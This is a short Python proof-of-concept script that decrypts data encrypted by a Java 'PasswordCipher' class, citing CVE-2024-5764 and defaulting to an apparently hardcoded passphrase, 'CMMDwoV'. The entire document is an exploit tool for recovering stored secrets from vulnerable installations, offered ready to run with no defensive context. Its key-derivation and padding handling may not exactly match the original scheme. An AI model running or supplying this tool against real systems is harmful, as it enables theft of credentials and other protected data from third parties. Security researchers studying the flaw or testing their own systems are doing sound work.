import base64
import hashlib
import argparse
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

SPICE_SIZE = 16  # Key and IV length
SALT_SIZE = 8  # Salt size
CHUNK_SIZE = 16  # AES block size

def generate_key_iv(passphrase: str, salt: bytes) -> (bytes, bytes):
    # Mimic the key and IV generation from the Java code
    digester = hashlib.sha256()
    key_and_iv = b''
    while len(key_and_iv) < 2 * SPICE_SIZE:
        # Update digest with passphrase and salt
        digester.update(passphrase.encode('utf-8'))
        digester.update(salt)
        key_and_iv += digester.digest()
        digester = hashlib.sha256()
        digester.update(key_and_iv[-SPICE_SIZE:])  # Continue hashing from the last part of the key

    key = key_and_iv[:SPICE_SIZE]
    iv = key_and_iv[SPICE_SIZE:2 * SPICE_SIZE]
    return key, iv

def decrypt(payload: bytes, passphrase: str) -> bytes:
    # Decode from base64
    encrypted_data = base64.b64decode(payload)
    
    # Extract the salt, padding length, and encrypted content
    salt = encrypted_data[:SALT_SIZE]
    pad_len = encrypted_data[SALT_SIZE]
    encrypted_bytes = encrypted_data[SALT_SIZE + 1: -pad_len]

    # Generate key and IV
    key, iv = generate_key_iv(passphrase, salt)

    # Create AES cipher for decryption
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(encrypted_bytes)
    
    # Remove PKCS5 padding
    return unpad(decrypted_data, AES.block_size)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Decrypt data encrypted by the Java PasswordCipher class (CVE-2024-5764).")
    parser.add_argument("-e", "--encrypted_payload", type=str, help="Base64 encoded encrypted payload.")
    parser.add_argument("-p", "--passphrase", type=str, help="Passphrase used to decrypt the payload.", default="CMMDwoV")
    args = parser.parse_args()

    try:
        decrypted_data = decrypt(args.encrypted_payload, args.passphrase)
        print("Decrypted data:", decrypted_data.decode('utf-8'))
    except Exception as e:
        print("An error occurred during decryption:", e)